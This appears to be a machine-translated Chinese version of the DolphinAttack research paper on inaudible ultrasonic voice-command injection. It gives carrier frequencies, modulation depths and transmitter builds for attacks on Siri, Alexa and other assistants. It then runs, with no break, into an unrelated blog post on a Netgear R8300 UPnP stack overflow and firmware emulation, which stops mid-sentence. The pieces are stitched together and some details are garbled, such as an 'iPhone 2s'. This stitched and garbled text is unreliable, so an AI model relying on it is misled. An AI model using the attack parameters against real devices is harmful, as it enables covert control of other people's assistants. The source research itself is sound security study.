2级联综合。当攻击者可以录制来自Siri所有者的几个单词但不是必需的“嘿Siri”时我们建议通过从可用录制中的其他单词中搜索相关的音素来合成所需的语音命令。英文大约有44个音素而唤醒字“嘿Siri”使用6个音素即HHEYSIHRIY。许多单词的发音与“ Hey”或“ Si”或“ ri”相同可以将它们拼接在一起。例如我们可以将“ he”和“ cake”连接起来以获得“ Hey”。同样“ Siri”可以是“城市”和“携带”的组合。如图8所示我们首先在记录的句子中搜索单个或组合的音素然后如果找到匹配项则提取感兴趣的片段。最后将匹配的音素组合在一起。为了评估该方案的可行性我们进行了以下实验。我们使用Google TTS生成用于训练SR系统的“ Hey Siri”并生成两组候选语音以合成“ Hey Siri”1.“ he”“ cake”“ city”“ carry” 2.“he is a boy”, “eat a cake”, “in the city”, “read after me”。合成激活命令后我们使用如图5所示的相同实验设置在iPhone 4S上对其进行测试。两个合成的“ Hey Siri”都可以成功激活Siri。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_30.png)
#### 4.1.2 通用控制命令生成
常规控制命令可以是启动应用程序例如“拨打911”“打开www.google.com”或配置设备例如“开启飞行模式”的任何命令。与激活命令不同SR系统不会验证控制命令的身份。因此攻击者可以选择任何控制命令的文本并利用TTS系统生成命令。
#### 4.1.3 评估
我们测试激活和控制命令。在不失一般性的前提下我们通过利用Tab中总结的TTS系统生成激活和控制命令。 1.特别是我们从这些TTS系统的网站上下载了两个语音命令“ Hey Siri”和“ call 1234567890”。对于激活我们使用Google TTS系统中的“ Hey Siri”来训练Siri其余的用于测试。我们通过iPhone 6 Plus和台式设备播放语音命令如图5所示并在iPhone 4S上进行测试。选项卡中汇总了这两个命令的激活和识别结果。结果表明SR系统可以识别来自任何TTS系统的控制命令。在89种类型的激活命令中有35种可以激活Siri成功率为39
### 4.2 语音命令调制
生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性DolphinAttack必须利用幅度调制AM
#### 4.2.1 AM调制参数
在AM中载波的幅度与基带信号成比例地变化并且幅度调制产生一个信号其功率集中在载波频率和两个相邻的边带上如图9所示。 描述如何在DolphinAttack中选择AM参数。
1深度调制深度m定义为m M / A其中A是载波幅度M是调制幅度M是幅度从其未调制值起的峰值变化。 例如如果m = 0.5则载波幅度在其未调制电平之上或之下变化50。 调制深度与麦克风非线性效应的利用直接相关我们的实验表明调制深度与硬件有关在第5节中有详细介绍
2载波频率。载波频率的选择取决于几个因素超声波的频率范围基带信号的带宽低通滤波器的截止频率以及VCS上麦克风的频率响应以及频率攻击者的回应。调制信号的最低频率应大于20 kHz以确保听不见。假设语音命令的频率范围为w则载波频率fc必须满足fc-w> 20 kHz的条件。例如假设基带的带宽为6 kHz则载波频率必须大于26 kHz以确保最低频率大于20 kHz。人们可能会考虑使用20 kHz以下的载波因为这些频率对于大多数人来说是听不到的除了小孩。但是这样的载波例如20kHz将无效。这是因为当载波频率和下边带低于低通滤波器的截止频率时它们将不会被滤波。因此恢复的语音不同于原始信号并且语音识别系统将无法识别命令。 类似于许多电子设备麦克风是频率选择性的例如各种频率下的增益会变化。为了提高效率载波频率应是扬声器和VCS麦克风上增益最高的乘积。为了发现最佳载波频率我们测量扬声器和麦克风的频率响应在相同的激励下我们测量各种频率下的输出幅度。图10显示了Samsung Galaxy S6 Edge 3上的ADMP 401 MEMS麦克风和扬声器的频率响应。麦克风和扬声器的增益不一定随频率的增加而降低因此有效载波频率可能不会单调。
3语音选择。 各种声音映射到各种基带频率范围。 例如女性语音通常具有比男性语音更宽的频带这导致在可听频率范围内频率泄漏的可能性更大调制信号的最低频率可以小于20kHz。 因此,如果可能,应选择带宽较小的语音以创建基带语音信号
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_31.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_32.png)
### 4.3 语音命令发送器
我们设计了两个发射器a由专用信号发生器驱动的强大发射器如图5所示以及b由智能手机驱动的便携式发射器如图11所示。 我们利用第一个来验证和量化DolphinAttack可以完成各种听不见的语音命令的程度而我们使用第二个来验证步行攻击的可行性。 这两个发射机均由三个组件组成:信号源,调制器和扬声器。 信号源产生原始语音命令的基带信号并输出到调制器该调制器以幅度调制AM的形式将语音信号调制到频率为fc的载波上。 最后扬声器将调制后的信号转换成声波并请注意扬声器的采样率必须大于2fc + w以避免信号混叠。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_33.png)
#### 4.3.1 具有信号发生器的强大变送器
我们将智能手机用作信号源并将图5中描述的矢量信号发生器用作调制器。请注意信号发生器的采样范围为300 MHz远大于超声频率并且可以使用预定义的参数调制信号。功能强大的发射器的扬声器是名为Vifa [9]的宽带动态超声扬声器。
#### 4.3.2 带有智能手机的便携式变送器
便携式发射器利用智能手机来发射调制信号。因为我们发现许多设备的最佳载波频率都大于24 kHz如表3所示。 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率并且只能发送载波频率最高为24 kHz的调制窄带信号。为了构建适用于各种VCS的便携式发射器我们购买了三星Galaxy S6 Edge它支持高达192 kHz的采样率。不幸的是三星Galaxy S6的车载扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题我们使用窄带超声换能器[56]作为扬声器并在超声换能器之前添加了一个放大器如图11所示。这样有效的攻击范围得以扩展。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_34.png)
## 5 VCS的可行性实验
我们在16种流行的语音可控系统和7种语音识别系统上通过实验验证了DolphinAttack并寻求以下三个问题的答案a攻击是否会针对各种操作系统和硬件平台上的不同语音识别系统起作用 b不同的软件和硬件如何影响攻击的性能 c成功实施攻击的关键参数是什么 本部分详细介绍了实验设计,设置和结果。
### 5.1 系统选择
我们检查了针对各种先进的语音识别系统和现成的VCS的DolphinAttack攻击这些攻击已在Tab 3.中列出。 该列表并非旨在详尽无遗而是提供了一组具有代表性的VCS可以尽我们最大的努力进行实验。
我们选择目标系统的方法是双重的-软件和硬件。首先我们选择可公开使用的主要语音识别系统例如SiriGoogle NowAlexaCortana等。与普通软件不同SR系统尤其是专有系统高度依赖硬件和操作系统。例如只能在Apple产品上找到和使用Siri。 Alexa仅限于Amazon设备 Cortana仅在Windows计算机上运行。尽管如此我们还是选择了与SR系统兼容的硬件并进行了实验。为了探究硬件对攻击性能的影响我们检查了运行同一SR系统的不同硬件模型例如各代iPhone上的Siri受到的攻击。
总而言之我们选择在活跃用户的消费市场上流行的VCS和SR系统并涵盖各种应用领域和使用场景。在标签页中。参见Tab 3.我们总结了用于实验的所选VCS可以将其分为三类-个人设备(可穿戴设备,智能手机,平板电脑,计算机),智能家居设备和车辆。
### 5.2 实验设置
我们使用相同的实验设置和设备测试对所选语音可控系统和语音识别系统的攻击,并在注入具有三个目标的不可听的语音命令时报告其行为:
* 检查攻击的可行性。
* 量化参数以调整成功的攻击。
* 测量攻击性能。
设备: 除非另有说明否则所有实验均使用默认的实验设备如图5所示的功能强大的发射器其中包括智能手机作为信号源信号发生器作为调制器以及名为Vifa的宽带动态超声扬声器[9]。 作为扬声器播放听不见的语音命令。 由于功能强大的发射器能够以多种载波从9 kHz到50 kHz发射信号因此我们将其用于可行性研究。 相比之下,便携式发射机使用窄带扬声器,其传输频率受到可用的窄带扬声器的限制。 在我们的情况下我们的便携式发射机可以以23 kHz25 kHz33 kHz40 kHz和48 kHz的频率发送信号。
设定除非受到设备尺寸的限制否则我们会将选定的设备放在台式攻击设备前面并且桌子上的距离各不相同并且设备麦克风朝向扬声器。将设备和扬声器都升高到相同的高度即在桌子上方10厘米以避免机械耦合。除带有汽车的测试外所有实验均在我们的实验室中进行平均背景噪声为55 dB SPL声压级并且我们确认在测试频段20 kHz 50 kHz中没有干扰声。我们通过功能强大的发射器播放听不见的语音命令并在设备屏幕或设备声学响应中观察结果。通常设备上安装了多个麦克风以拾取来自各个方向的声音。通常所有麦克风都用于语音识别。在我们的实验中我们专门测试了显示最佳解调效果的设备。
语音命令: 针对两种类型的攻击(激活和识别)准备了两种语音命令。 对于那些支持语音激活的系统,我们尝试使用听不见的唤醒单词命令激活它们。 要检查语音识别系统是否可以正确识别听不见的语音命令我们选择了一些可以理解的英语命令如Tab 2中所示。 由于所有设备均不支持任何命令,因此我们准备了一组命令来覆盖所有设备。 对于每个命令我们尝试两种音频来源来自TTS引擎的合成声音以及作者所说的真实人类声音。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_35.png)
声压级:尽管为攻击而产生的声音是人类无法听到的,但是我们仍然使用自由场测量麦克风[50]以分贝为单位测量声压级SPL。 在距Vifa [9]扬声器10 cm处测量的超声接收声压级为125 dB。
攻击在识别攻击中SR系统是事先手动激活的。 在激活攻击中,不允许与设备进行物理交互。 仅当从SR系统识别的文本与攻击命令完全匹配时才认为攻击成功并且仅记录距离。
调制参数: 我们认为调制参数可能会影响攻击性能。 我们考虑幅度调制中的两个因素载波频率fc和调制深度。 为了量化其影响我们使用Google TTS引擎作为基带音频源将设备放置在距宽带超声扬声器Vifa [9] 10 cm处并测量三个值afc range-载波范围 成功进行识别攻击且100准确的频率。 b素数fc 解调后展现最高基带4幅度的fc。 cAM深度—成功进行识别攻击且100准确时在原始fc处的调制深度。
### 5.3 可行性结果
Tab. 3总结实验结果。 从Tab. 3所示我们可以得出结论DolphinAttack可与几乎所有经过检查的SR系统和设备一起使用。 特别是SR系统可以在所有经过测试的硬件上正确解释听不到的语音命令并且在需要激活的所有VCS上都可以成功激活。 但是,结果确实表明,设备和系统需要各种参数才能实现相同的攻击效果。 我们讨论以下结果:
**硬件依赖性:**DolphinAttack的基本原理是在数字化组件之前注入听不见的语音命令。 因此DolphinAttack的可行性在很大程度上取决于音频硬件而不是语音识别系统。 例如运行Siri的同一制造商的各种设备在攻击成功率最大攻击距离和调制参数方面显示出很大的差异。 这是因为各种型号采用不同的硬件例如麦克风放大器滤波器这导致输入到相同SR系统的数字化音频发生变化。 我们在两个相同设备iPhone SE上的实验显示出相似的攻击参数和结果。 因此,攻击者事先研究硬件以获得令人满意的攻击结果是可行的。
**SR系统依赖性**我们发现各种SR系统可能会以不同方式处理相同的音频。 我们在运行iPhone SE的Google Chrome中测试了语音搜索。 表3中的结果表明Google Chrome的fc范围与Siri实验中的fc范围重叠这表明我们的攻击取决于硬件。 但是fcAM深度和识别距离的差异是由SR系统引起的
**识别与激活:**根据攻击距离各种设备和SR系统对识别和激活攻击的反应可能不同。 对于某些设备8个设备可以比识别攻击更大的距离实现激活攻击而对于其他设备6个设备成功激活攻击的有效范围要比识别攻击小。 此外,我们观察到,对于许多设备而言,在控制命令之前附加激活命令(例如“ Hey Siri”可能会增加正确识别的可能性这可能是因为SR系统专门对激活命令进行了训练使之成为可能。 在常开模式下识别。
**命令很重要:** 语音命令的长度和内容会影响成功率和最大攻击距离。 在实验中,我们严格要求要求正确识别命令中的每个单词,尽管某些命令可能不需要这样做。 例如,“呼叫/ FaceTime 1234567890”和“打开dolphinattack.com”比“打开飞机模式”或“今天的天气如何”更难被识别。 在前一种情况下,必须正确识别执行字“ call”“ open”和内容数字url。 但是,对于后一种情况,仅识别诸如“飞机”和“天气”之类的关键字就足以执行原始命令。 如果攻击命令简短且对于SR系统通用则可以提高攻击性能。
**载波频率:** fc是影响攻击成功率的主要因素并且在各个设备之间也显示出很大的差异。对于某些设备成功进行识别攻击的fc范围可以宽至20-42 kHz例如iPhone 4s也可以窄至几个单个频率点例如iPhone 5s。我们将这种多样性归因于这些麦克风的频率响应和频率选择性的差异以及音频处理电路的非线性。例如Nexus 7的fc范围是从24到39 kHz这可以从两个方面进行解释。 fc不高于39 kHz因为Vifa扬声器在39 kHz以上的频率响应较低而Nexus 7麦克风之一也较低。因此结合起来高于39 kHz的载波不再足够有效以注入听不见的语音命令。由于麦克风频率响应的非线性fc不能小于24 kHz。我们观察到当基带谐波的幅度大于基带之一时无法听到的语音命令对于SR系统变得不可接受。例如在给定400 Hz音调的基带的情况下我们测量Nexus 7上的解调信号即400 Hz基带并观察800 Hz2次谐波1200 Hz3次谐波甚至更高的谐波这可能是由于音频处理电路的非线性所致。如图12所示当fc小于23 kHz时第二和第三谐波要强于第一谐波这会使基带信号失真并使SR系统难以识别。导致最佳攻击性能的Prime fc是既显示高基带信号又显示低谐波的频率。在Nexus 7上Prime fc为24.1 kHz
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_36.png)
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_37.png)
**调制深度:** 调制深度会影响解调后的基带信号的幅度及其谐波如图13所示。随着调制深度从0逐渐增加到100解调后的信号会变得更强进而提高SNR和攻击成功率 除少数例外例如当谐波使基带信号失真的程度大于AM深度较低的情况时。 我们在Tab 3 中报告了对每台设备成功进行识别攻击的最小深度。
攻击距离: 攻击距离从2厘米到最大175厘米不等并且跨设备差异很大。 值得注意的是我们在Amazon Echo上两次攻击都可以达到的最大距离为165厘米。 我们认为,可以使用可以产生更高压力水平的声音并表现出更好的声音指向性的设备来增加距离,或者使用更短和更易于识别的命令来增加距离。
**努力与挑战:**在进行上述实验时,我们面临挑战。 除了获取设备以外,由于缺少音频测量反馈界面,因此测量每个参数非常耗时且费力。 例如为测量Prime fc我们使用不同平台上的音频频谱分析软件在各种设备上分析解调结果iOS [30]macOS [34]Android [41]和Windows [35]。 对于不支持安装频谱软件的设备例如Apple Watch和Amazon Echo我们利用呼叫和命令日志回放功能并在另一台中继设备上测量音频。
### 5.4 小结
我们将实验总结如下。 1我们验证了跨越16种不同设备和7种语音识别系统的识别和激活攻击并在几乎所有设备上均获得了成功。 2我们测量了所有设备的攻击性能其中一些设备足以应付日常情况下的实际攻击。 例如我们可以在距离iPhone 2s和Amazon Echo约2米的地方启动DolphinAttack。 3我们测量检查并讨论了与攻击性能有关的参数包括SR系统设备硬件语音命令fcAM深度等。
## 6 影响定量
在本节中我们将使用功能强大的发射器图5中所示的台式机设置根据语言背景噪声声压级和攻击距离评估DolphinAttack的性能。 此外,我们评估了使用便携式设备进行的漫游攻击的有效性。
### 6.1 语言的影响
为了检查DolphinAttack在语言方面的有效性我们选择了五种语言中的三个语音命令。语音命令包括激活命令“ Hey Siri”和两个控制命令“ Call 1234567890”和“ Turn onplane mode”代表针对SR系统的三种攻击激活SR系统启动对用户的监视和拒绝服务攻击。每个语音命令分别以英语中文德语法语和西班牙语进行测试。我们针对与运行iOS 10.3.1的iPhone 6 Plus配对的Apple Watch推出DolphinAttack。对于每种语言的每种语音命令我们将其重复10次并计算平均成功率。距离设置为20 cm测得的背景噪声为55 dB。我们利用25 kHz载波频率和100AM深度。图14示出了给定语言的三个语音命令的识别结果。我们可以看到各种语言和语音命令的识别率几乎相同。特别地英语和西班牙语中所有语音命令的识别率均为100并且三种语音命令在所有语言中的平均识别率分别为10096和98。此外用于激活的识别率“嘿Siri”高于控制命令“呼叫1234567890”和“打开飞机模式”之一。这是因为激活命令的长度比控制命令的长度短。无论如何结果表明我们的方法对于各种语言和语音命令都是有效的。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_38.png)
### 6.2 背景噪声的影响
众所周知语音识别对背景噪声敏感建议在安静的环境中使用。因此我们在以下三种情况下检查了通过DolphinAttack发出的听不见的语音命令注入在办公室咖啡馆在街上。为确保实验可重复我们通过以选定的SPL播放背景声音来模拟这三种情况并评估它们对识别率的影响。我们选择Apple Watch作为攻击目标并通过迷你声级计测量背景噪音。从表4可以看出激活命令的识别率在所有三个场景中均超过90而控制命令“飞机飞行模式”的识别率则随着环境噪声水平的提高而降低。这是因为激活命令比控制命令短。随着控制命令的单词数增加由于无法识别任何单词可能导致命令识别失败因此识别率迅速下降。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_39.png)
### 6.3 声压级的影响
对于可听和不可听的声音较高的SPL会导致录制的语音质量更高从而识别率也更高。这是因为对于给定的噪声水平较高的SPL始终意味着较大的信噪比SNR。为了探索SPL对DolphinAttack的影响我们在Apple Watch和Galaxy S6 Edge智能手机上测试了控制命令“ Call 1234567890”。在所有实验中将扬声器放置在距目标设备10厘米的位置并将迷你声级计放置在扬声器旁边以测量环境噪声。我们用两种粒度来量化SPL的影响句子识别率和单词识别率。句子识别率计算成功识别的命令的百分比。只有正确识别了命令中的每个单词才认为命令已被识别。单词识别率是正确解释的单词的百分比。例如如果命令“ call 1234567890”被识别为“ call 1234567”则单词识别率为63.67/11。图15ab显示了SPL对两种识别率的影响。毫不奇怪给定相同的SPL单词识别率始终大于句子识别率直到两者都达到100。对于Apple Watch一旦SPL大于106.2 dB两种识别率都将变为100。相比之下Galaxy S6 Edge达到100识别率的最低SPL为113.96 dB高于Apple Watch的最低声压级。这是因为在解调听不见的语音命令方面Apple Watch胜过Galaxy S6 Edge。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_40.png)
### 6.4 攻击距离的影响
在本节中,将使用激活命令(“ Hey Siri”或“ Hi Galaxy”和控制命令“ Call 1234567890”来测试各种距离下的识别率。 我们评估了Apple Watch和Galaxy S6 Edge上两个命令的识别率并在图16中进行了描述。通常激活命令的识别率高于控制命令的识别率因为激活 该命令包含的单词数少于控制命令。 可以在100厘米远的地方以100的成功率激活Apple Watch从25厘米处以100的成功率激活Galaxy S6 Edge。 我们认为这两种设备之间的差异是因为Apple Watch戴在手腕上并且可以接受比智能手机更长的语音命令。
### 6.5 便携式设备攻击评估
在本节中我们评估便携式设备攻击的有效性。设定。我们将运行Android 6.0.1的Galaxy S6 Edge智能手机用作攻击设备将Apple Watch作为受害者设备并将其与iPhone 6 Plus配对使用。攻击声音命令是“打开飞行模式”。我们将fc分别设置为{20、21、22、23、24} kHz。 AM深度为100采样率为192 kHz。基带信号的最大频率为3 kHz。结果如表5所示我们成功地在Apple Watch上以23 kHz载波频率“开启了飞行模式”。请注意20 kHz和21 kHz也成功。但是频率泄漏低于20 kHz听起来像可以听到。单词和句子的识别率是100。随着fc的增加由于扬声器的频率选择性Apple Watch无法识别语音命令。为了扩展攻击距离我们利用低功率音频放大器3瓦模块来驱动超声换能器如图11所示。使用放大器模块有效攻击的最大距离增加到27厘米。请注意使用专业设备和功能更强大的放大器可以进一步扩大攻击距离。攻击者可以使用受害者的设备发起远程攻击。例如对手可以上传音频或视频剪辑其中语音命令嵌入在网站中例如YouTube。当受害者的设备播放音频或视频时可能会无意识地触发周围的语音可控系统例如Google Home AssistantAlexa和手机。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_41.png)
## 7 防御
在本节中,我们将从硬件和软件角度讨论针对上述攻击的防御策略。
### 7.1 基于硬件的防御
我们提出了两种基于硬件的防御策略:麦克风增强和基带消除。
* 麦克风增强语音命令听不到的根本原因是麦克风可以感应到高于20 kHz的频率的声音而理想的麦克风则不能。默认情况下当今移动设备上的大多数MEMS麦克风都允许20 kHz以上的信号[2、3、29、52、53]。因此应增强麦克风并设计其抑制任何频率在超声范围内的声音信号。例如iPhone 6 Plus的麦克风可以很好地抵抗听不见的语音命令。
* 语音命令取消听不见。在使用传统麦克风的情况下我们可以在LPF之前添加一个模块以检测调制后的语音命令并使用调制后的语音命令取消基带。特别是我们可以检测到具有AM调制特性的超声频率范围内的信号并对信号进行解调以获得基带。例如在存在不可听见的语音命令注入的情况下除了已解调的基带信号mt之外记录的模拟语音信号还应包括原始调制信号vt= Amtcos2πfc t+ cos2πfc t其中A是输入信号mt的增益。通过下变频vt以获得Amt并调整幅度我们可以减去基带信号。请注意这样的命令取消过程不会影响麦克风的正常操作因为捕获的可听语音信号与超声范围内的噪声之间将不存在相关性。
### 7.2 基于软件的防御
基于软件的防御研究调制语音命令的独特功能这些功能与真正的语音命令不同。如图17所示恢复的解调的攻击信号在500到1000Hz的高频范围内显示出与原始信号和记录信号的差异。原始信号由Google TTS引擎产生调制的载波频率为25 kHz。因此我们可以通过分析500至1000 Hz频率范围内的信号来检测DolphinAttack。特别是基于机器学习的分类器将对其进行检测。为了验证检测DolphinAttack的可行性我们利用支持的矢量机SVM作为分类器并从音频中提取了时域和频域中的15个特征。我们生成了12种语音命令即“ Hey Siri”NeoSpeech TTS引擎提供了8种语音Selvy TTS引擎提供了4种语音。对于每种类型我们获得了两个样本一个被记录另一个被恢复。总共有24个样本。为了训练SVM分类器我们使用5个录制的音频作为正样本并使用5个恢复的音频作为负样本。其余14个样本用于测试。分类器可以以100真实肯定率7/7和100真实否定率7/7区分恢复的音频和录制的音频。使用简单SVM分类器的结果表明可以使用基于软件的防御策略来检测DolphinAttack。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_42.png)
## 8 相关工作
* 语音可控系统的安全性。越来越多的研究工作投入于研究语音可控系统的安全性[10、18、28、38、61]。 Kasmi等。 [28]通过在耳机电缆上施加有意的电磁干扰,对现代智能手机引入了语音命令注入攻击,而在本文中,我们通过利用超声波上的麦克风非线性来注入语音命令。 Mukhopadhyay等。 [38]展示了对最先进的自动说话人验证算法的语音模仿攻击。他们根据受害者的样本建立了受害者声音的模型。 [18]设计了一种权限绕过来自零许可Android应用程序通过电话扬声器的攻击。隐藏的语音命令和Cocaine noodles[1061]使用可听和扭曲的音频命令来攻击语音识别系统。在这些攻击下,受害者有时可以观察到混淆的语音命令。 DolphinAttack受这些攻击的动机但是完全听不见且听不到我们展示了可以使用便携式设备启动DolphinAttack
* 配备传感器的设备的安全性。配备有各种传感器的商业设备(例如,智能手机,可穿戴设备和平板电脑)正在逐渐普及。随着无处不在的移动设备的增长趋势,安全性成为人们关注的焦点。许多研究人员[14、15、46、60]专注于研究对智能设备上的传感器的可能攻击。其中,传感器欺骗(即,将恶意信号注入受害者传感器)引起了广泛关注,并被认为是对配备传感器的设备的最严重威胁之一。 Shin等。将传感器欺骗攻击[46]分为三类:常规信道攻击(重放攻击)[19、26、66],传输信道攻击和侧信道攻击[11、14、15、47、49]。 Dean等。 [1415]证明当声频分量接近陀螺仪传感质量的共振频率时MEMS陀螺仪容易受到大功率高频声噪声的影响。利用机载传感器Gu等。 [24]设计了一种使用振动马达和加速度计的加密密钥生成机制。我们的工作重点是麦克风,可以将其视为一种传感器。
* 通过传感器泄露隐私。 Michalevsky等。 [36]利用MEMS陀螺仪来测量声学信号从而揭示扬声器信息。 Schlegel等。 [44]设计了一种木马程序,可以从智能手机的音频传感器中提取高价值数据。 Owusu等。 [40]利用加速度计的读数作为副通道,在智能手机触摸屏键盘上提取输入文本的整个序列,而无需特殊的特权。 Aviv等。 [6]证明了加速度传感器可以揭示用户的点击和基于手势的输入。 Dey等。 [17]研究了如何利用车载加速度计的缺陷对智能手机进行指纹识别,并且指纹可以用作识别智能手机所有者的标识符。西蒙等。 [48]利用摄像机和麦克风来推断在智能手机的仅数字软键盘上输入的PIN。 Li等。文献[33]可以根据照片中的阴影和相机的传感器读数,通过估计太阳位置来验证照片的捕获时间和位置。 Sun等。 [55]提出了一个视频辅助按键推论框架,以从平板电脑动作的秘密视频记录中推断出平板电脑用户的输入。 Backes等。 [7]显示,可以根据打印机的声音恢复处理英语的点阵打印机正在打印的内容。同样,我们研究了如何利用麦克风漏洞来破坏安全和隐私。罗伊等。 [42]提出了BackDoor它在超声频带上的两个扬声器和麦克风之间建立了一个声音但听不见通信通道。特别是BackDoor利用两个超声波扬声器传输两个频率。通过麦克风的非线性振膜和功率放大器后这两个信号在可听频率范围内产生一个“阴影”可以携带数据。但是“阴影”是单一音调而不是由丰富音调集组成的语音命令。相比之下我们表明可以使用一个扬声器向SR系统注入听不见的命令从而引起各种安全和隐私问题。
## 9 海豚攻击”的局限性分析
上面谈到了“海豚攻击”实现的基本原理。但是经过我们的分析,这种“漏洞”虽然理论上存在风险,但是实现代价较大,且整体可行性较低,大家不必过于恐惧。下面我们再来分析一下它能实现的效果的局限性:
局限性1 测试设备发射要求高,不易隐藏作案。
首先该系统需要一个大功率且大尺寸的信号发生器来生成高质量的超声信号同时目前的普通麦克风对20KHz以上的信号频响衰减非常大这就要求超声信号的发射功率有相当大的发射功率。
这篇文章中使用的超声发射器可以支持到300MHz的频率范围超声播放的声压级达到了125dBL这种情况下普通的简化装置的放大器和喇叭是实现不了的。
局限性2 攻击距离很短,智能家居产品不受影响。
同样是由于目前普通麦克风对20KHz以上的信号频响衰减非常大在声压级是125dBL的播放的超声信号下这个音量已经需要非常专业播放设备了实验的最远冲击距离只有1.75m对于大部分设备超过0.5m就没有响应了,再加上超声信号没有穿墙能力,因此对于放在家中的智能硬件设备是没有任何影响的。对于携带到公共场所的手机和可穿戴设备则有一定的“风险”。
局限性3 攻击语音质量很低,效果和单个硬件相关。
如前面我们的分析由于解调后的信号毕竟是经过低通滤波器导致各频带都是有不同程度衰减的且大部分ADC都有抗混叠滤波因此最终设备端解调进来的Baseband信号失真很严重信噪比也不会很高。
攻击效果也跟硬件本身相关比如麦克风型号、低通滤波器的实现方式和效果、ADC抗混叠效果和采样频率都是相关的。想要达到好的效果必须根据实际的硬件来调节载波频率信号强度等参数这对于公共场所游走作案且不知道被攻击者使用的什么设备的情况下是比较难以实现的。
## 10 结论
在本文中我们提出了DolphinAttack这是对SR系统的听不见的攻击。 DolphinAttack利用AM振幅调制技术来调制超声载波上的可听语音命令从而使人无法感知命令信号。攻击者可以使用DolphinAttack攻击主要的SR系统包括SiriGoogle NowAlexa等。为避免实际滥用DolphinAttack我们从硬件和软件两个方面提出了两种防御解决方案。

View File

@ -1,990 +0,0 @@
---
title: Netgear_栈溢出漏洞_PSV-2020-0211
date: 2021-01-08 13:26:26
tags:
- Netgear
- UPnP
- 固件模拟
categories:
- IOT
description: 复现一个漏洞
---
**固件模拟与UPnP栈溢出利用**
https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
https://paper.seebug.org/1311/#1
https://www.anquanke.com/post/id/217606
## **0x00 漏洞概要**
|漏洞编号: |PSV-2020-0211 |
|--- |--- |
|披露时间: |* 2020 -07-31 — [Netgear 官方发布安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211) * 2020-08-18 [漏洞公开披露](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/) |
|影响厂商: |Netgear |
|漏洞类型: |栈溢出漏洞 |
|漏洞评分CVSS |9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
|利用条件: |该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务无需身份验证。 |
|漏洞成因: |该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
## **0x01 威胁范围**
|影响范围: |R8300 running firmware versions prior to 1.0.2.134 |
|--- |--- |
|ZoomEye查询结果 |Netgear R8300共有579台设备暴露在互联网上绝大部分分布在美国少量设备出现在欧洲 |
|--- |![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png) |
|| |
## 0x02 Qemu模拟
|真机调试 |硬件调试接口 |uart |
|--- |--- |--- |
|历史RCE |NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 |
|设备后门开启telnet |[Unlocking the Netgear Telnet Console](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500) |
|固件篡改植入telnet | |
|固件模拟 |QEMU |现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
|树莓派、开发板 |只要 CPU 指令集对的上,就可以跑起来 |
| firmadyne |基于qemu定制 |
|Qemu STM32 | |
|Avatar |混合式仿真 |
[嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf](http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf)
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别可以看到R8300采用了squashfs文件系统格式
```shell
$ binwalk R8300-V1.0.2.130_1.0.99.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
```
使用 `binwalk -Me` 提取出 Squashfs 文件系统可以看到R8300为ARM v5架构.
```shell
$ file usr/sbin/upnpd
usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
```
### firmadyne
直接使用firmadyne模拟R8300固件失败一是网络接口初始化失败二是NVRAM配置存在问题
原因可能是:
